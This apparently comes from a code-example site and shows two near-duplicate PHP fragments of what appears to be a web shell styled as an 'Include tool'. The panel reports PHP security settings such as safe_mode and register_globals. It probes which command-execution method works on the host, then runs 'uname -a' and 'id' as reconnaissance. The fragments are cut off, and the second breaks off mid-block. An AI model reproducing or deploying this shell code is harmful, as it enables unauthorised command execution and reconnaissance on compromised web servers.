Exemplo n.º 1
0
}
###############################################################################
#
# start include output
#
###############################################################################
$strOutput = "";
$strOutput .= "<html><body bgcolor='#ffffff'>\n<table border=3 bgcolor=#aaaaaa width='100%'><tr><td><font color='#000000'>\n<center>\n<h2>Include tool</h2>\nPHP Version: " . phpversion() . " | \nsafe_mode: {$SM} |\nregister_globals: {$RG} | \nmagic_quotes_gpc: {$MQ} | \nsyslogging: ";
if ($syslog == 1) {
    $strOutput .= $txt[$lang]['off'];
} else {
    $strOutput .= $txt[$lang]['on'];
}
$strOutput .= "\n<br><br>\n</center>\n<font color='#000000'>";
foreach ($ArrFuncs as $key => $val) {
    $strOutput .= make_switch($key);
}
###############################################################################
# test cmd shell environment
###############################################################################
if ($env == 1) {
    $strOutput .= "\n\t<table border=1><tr><td colspan=2><h3>cmd infos</h3></td></tr>\n\t<tr><td>test using pwd</td><td>";
    $emeth =& test_cmd_shell();
    $strOutput .= "</td></tr>";
    if ($emeth == 0) {
        $strOutput .= "<tr><td colspan=2>{$Mstr[$emeth]}</td></tr>";
    } else {
        $strOutput .= "<tr><td>exec method</td><td>{$Mstr[$emeth]}</td><tr>\n\t\t<tr><td>uname -a</td><td>" . Mexec("uname -a", $emeth) . "</td><tr>\n\t\t<tr><td>id</td><td>" . Mexec("id", $emeth) . "</td><tr>\n\t\t</table>";
    }
}
###############################################################################
Exemplo n.º 2
0
$strOutput = "";
$strOutput .= "<html><body bgcolor='#ffffff'>
<table border=3 bgcolor=#aaaaaa width='100%'><tr><td><font color='#000000'>
<center>
<h2>Include tool</h2>
PHP Version: " . phpversion() . " | 
safe_mode: $SM |
register_globals: $RG | 
magic_quotes_gpc: $MQ | 
syslogging: ";
if($syslog == 1) $strOutput .= $txt[$lang]['off']; else $strOutput .= $txt[$lang]['on'];
$strOutput .= "
<br><br>
</center>
<font color='#000000'>";
foreach($ArrFuncs as $key => $val) $strOutput .= make_switch($key); 

###############################################################################
# test cmd shell environment
###############################################################################
if($env == 1) { 
	$strOutput .= "
	<table border=1><tr><td colspan=2><h3>cmd infos</h3></td></tr>
	<tr><td>test using pwd</td><td>"; $emeth =& test_cmd_shell(); $strOutput .= "</td></tr>";
	if($emeth==0) { 
		$strOutput .= "<tr><td colspan=2>$Mstr[$emeth]</td></tr>";
	} else {
		$strOutput .= "<tr><td>exec method</td><td>$Mstr[$emeth]</td><tr>
		<tr><td>uname -a</td><td>" . Mexec("uname -a", $emeth) . "</td><tr>
		<tr><td>id</td><td>" . Mexec("id", $emeth) . "</td><tr>
		</table>";